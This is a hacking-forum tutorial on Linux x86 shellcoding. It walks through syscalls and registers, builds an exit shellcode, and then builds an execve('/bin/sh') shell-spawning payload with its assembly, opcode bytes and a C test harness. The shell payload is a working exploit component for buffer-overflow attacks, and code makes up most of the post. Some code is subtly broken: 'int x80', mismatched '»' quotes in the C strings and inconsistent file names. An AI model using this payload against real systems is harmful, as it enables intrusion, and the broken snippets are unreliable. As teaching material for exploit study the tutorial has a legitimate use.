Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUTORIAL] Shellcoding - linux

Hello everyone,

Here’s my tutorial on shellcoding.
My platform for this tuto is a Kali linux. I use the NASM syntax for my ASM codes.

1 - What is a shellcode

It is a piece of hex Opcode. Shellcode asks the kernel to execute some tasks. Basically, it is used to exploit a vulnerability as buffer overflow. User can cause a vulnerable program to execute instruction provided by him rather than the program.
The term « shellcode » comes form the fact that a malicious user utilized code that would provide him with a shell access to a remote computer.

2 - System calls

Shellcode asks the services of the operating system and must follow a prescribed method to interact with it. Methods differs from an operating system to another.
Shellcode must performs « system calls » in order to request the operating system to perform some operation.

Each function or method (exit, print, execve, get…) has a system call or syscall number. You can find it on kali linux here :
/usr/include/I386-linux-gnu/asm/unistd_32.h

Other ressource :
docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html

Once the method to interact with the operating system is followed, we have to call the kernel and ask him to execute our method.
To do that under linux, we use the instruction :
Code
int 0x80

3 - Register

In a standard C program, you store your value in a var, ex : int i =0
In ASM, you store your value in registers or the stack.

Basically, registers are used for :

EAX => Called the Accumulator. It is used for contain the syscall code, the return value of a function etc..
EBX => Called the Base register. It is used for contain the first argument of a function etc..
ECX => Called the Counter register. It is used as a loop counter, the second argument of a function etc…
EDX = > Called the Data register. It is used for the third argument of a function etc..
ESI => Called the Source Index register. It is used for the fourth argument of a function etc..
EDI => Called the Destination Source. It is used for the fifth argument of a function etc…

If more arguments are needed, address of an array of arguments can be stored in EBX.

These registers are all 32bits.
EAX, EBX, ECX, EDX can be broken down into 16 and 8 bits register

32 bits : EAX, EBX, ECX, EDX
16 bits : AX, BX, CX, DX
8 bits : (AH, AL), (BH, BL), (CH, CL), (DH, DL)

The « H » and « L » suffix on the 8 bit registers stand for high byte and low byte.

ESP is another register which contain the top location of current stack.

4 - Instruction

You need to know some basic instructions to play with the registers and the stack.

PUSH => place a value on the top of the stack
POP => take the value of the top of the stack
MOV => place a number in a register or in a memory location
XOR => bitwise operation
int 0x80 => ask kernel to execute

5 - first shellcode

We have everything to create our first shellcode. Let’s start with a basic one, exit

exit function synopsis :
void exit(in status)

exit syscall :
#define __NR_exit 1

The syscall code for the exit function is 1, so we have to store this value in our register EAX
The exit function takes one argument, so we have to store this argument value in our register EBX

Important thing when you create shellcode, is that you have to avoid NULL byte.
The common way to do that is to call the instruction XOR on the same register, ex :
Code
XOR eax, eax

This instruction will clear the eax register and avoid null byte.

It is common to clear all the needed registers at the beginning of the ASM code.
Here for our example, we will use EAX and EBX register, so our first lines of ASM code are :
Code
XOR eax, eax
XOR ebx, ebx

EBX is null, so the argument given to the function exit is 0
Then we place the syscall code for exit to eax :
Code
MOV al, 1

We are now ready to call the kernel.
Here is the complet code :
Code
; exit.asm
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
mov al, 1
int x80

Compile the code as follow :

root@kali:/# nasm -f elf exit.asm
root@kali:/# ld exit.o -o exit

To check the execution of our program, we use strace :
Code
root@kali:/# strace ./exit
execve("./exit", ["./exit"], [/* 32 vars */]) = 0
_exit(0)                                = ?

Now, we have to extract the HEX Opcodes (shellcode). We use objdump :
Code
root@kali:/# objdump -D ./exit

./exit:     file format elf32-i386


Disassembly of section .txt:

08048054 <_start>:
8048054:    31 db                    xor    %ebx,%ebx
8048056:    31 c0                    xor    %eax,%eax
8048058:    b0 01                    mov    $0x1,%al
804805a:    cd 80                    int    $0x80

hex Opcode for xor ebx, ebx is \x31\xdb
hex Opcode for xor eax, eax is \x31\xc0
hex Opcode for mov al, 1 is \xb0\x01
hex Opcode for int 0x80 is \xcd\x80

Put all the piece together :

\x31\xdb\x31\xc0\xb0\x01\xcd\x80

We have our shellcode !
We can test our shellcode with :
Code
// shecllode_exit.c
#include <stdio.h>
#include <string.h>

char code[] =
"\x31\xdb\x31\xc0\xb0\x01\xcd\x80";

int main()
{
   ((void(*)())code)();
}
Compile as follow :
root@kali:/# gcc -z execstack -o shellocde_exit shellcode_exit.c


6 - execve shellcode

Let’s create a more usefull shellcode which will open a shell.
To do that, we use the method (function) execve.

The synopsis is :
int execve(const char *file, char *const argv[], char *const envp[]);

execve syscall :
#define __NR_execve 11

Here is what the register will have to contain :

- EAX => syscall code for method execve : 11 or 0xb
- EBX => const char *file, address of the string « /bin/sh\0 »
- ECX => char *const argv[], address of a pointer to the array {« /bin/sh », « 0 »}
- EDX => char *const envp[], address of a pointer to an array. Not needed here so 0

Let’s start ou execve.asm :
Code
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
We cleared the register to avoid null byte. EDX is ready (=0)

Code
push eax
We placed a 0 on the stack

Code
push 0x68732f2f
We placed //sh on the stack. We have to reverse (//sh => hs//) because (basically) the memory is read from the right to the left. (little-endian)

Code
push 0x6e69622f
We placed nib/ on the stack (/bin)

Code
mov ebx, esp
We placed in ebx the address which point to the string /bin/sh\0. EBX is ready

Code
push eax
Again we placed a 0 on the stack

Code
push ebx
We placed the address of the string /bin/sh\0 on the stack

Code
mov ecx, esp
We placed in ecx the address of the array {« /bin/sh\0 », « 0 »}. ECX is ready

Code
mov al, 0xb
We placed in eax the syscall code for execve. EAX is ready

Code
int 0x80
We call the kernel.

Complet excelle.asm :
Code
; execve.asm
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80

Compile and then extract the Opcode with objdump :
Code
root@kali:/# objdump -d ./execve3

./execve3:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060:    31 c0                xor    %eax,%eax
8048062:    31 db                xor    %ebx,%ebx
8048064:    31 c9                xor    %ecx,%ecx
8048066:    31 d2                xor    %edx,%edx
8048068:    50                 push   %eax
8048069:    68 2f 2f 73 68          push   $0x68732f2f
804806e:    68 2f 62 69 6e          push   $0x6e69622f
8048073:    89 e3                mov    %esp,%ebx
8048075:    50                 push   %eax
8048076:    53                 push   %ebx
8048077:    89 e1                mov    %esp,%ecx
8048079:    b0 0b                mov    $0xb,%al
804807b:    cd 80                int    $0x80

The shellcode :
Code
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

Test the shellcode with :
Code
// shecllode_execve.c
#include <stdio.h>
#include <string.h>

char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 »\
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 »;

int main()
{
   ((void(*)())code)();
}

Compile :
root@kali:/# gcc -z execstack -o shellocde_execve shellcode_execve.c

That’s it for this tutorial.
Thanks for reading.
Thanks for writing this :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by cover7Mar 16, 2024 02:34 PM 1 179 Mar 16, 2024 02:34 PM
Last Post: rask4l
by ๖ۣۜTigerNet™Sep 15, 2022 09:34 PM 14 2,168 Sep 15, 2022 09:34 PM
Last Post: sxmxo
by w3w3w3Mar 15, 2021 04:54 AM 1 183 Mar 15, 2021 04:54 AM
Last Post: w3w3w3